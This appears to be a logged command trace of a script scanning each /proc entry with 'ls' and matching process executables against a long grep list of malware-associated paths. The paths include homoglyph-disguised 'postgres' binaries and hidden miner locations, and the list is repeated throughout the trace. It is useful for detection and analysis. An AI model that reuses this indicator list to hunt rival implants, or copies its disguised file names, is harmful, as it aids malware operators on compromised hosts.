[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/84]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/85]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/866]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/89]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/9]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/902]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/978]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/98]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/980]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/985]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/988]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/acpi]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/buddyinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/bus]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cgroups]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cmdline]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/consoles]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/cpuinfo]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/crypto]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/devices]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/diskstats]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/dma]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/driver]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/execdomains]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/fb]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/filesystems]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/fs]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/interrupts]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/iomem]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/ioports]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/irq]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kallsyms]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kcore]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/key-users]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/keys]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kmsg]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpagecgroup]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpagecount]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/kpageflags]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

/bin/grep

[grep exe]

/bin/ls

[ls -latrh /proc/loadavg]

/bin/grep

[grep -q /var/lib/postgresql/data/pоstgres\|atlas.x86\|dotsh\|/tmp/systemd-private-\|bin/sysinit\|.bin/xorg\|nine.x86\|data/pg_mem\|/var/lib/postgresql/data/.*/memory\|/var/tmp/.bin/systemd\|balder\|sys/systemd\|rtw88_pcied\|.bin/x\|httpd_watchdog\|/var/Sofia\|3caec218-ce42-42da-8f58-970b22d131e9\|/tmp/watchdog\|cpu_hu\|/tmp/Manager\|/tmp/manh\|/tmp/agettyd\|/var/tmp/java\|/var/lib/postgresql/data/pоstmaster\|/memfd\|/var/lib/postgresql/data/pgdata/pоstmaster\|/tmp/.metabase/metabasew]

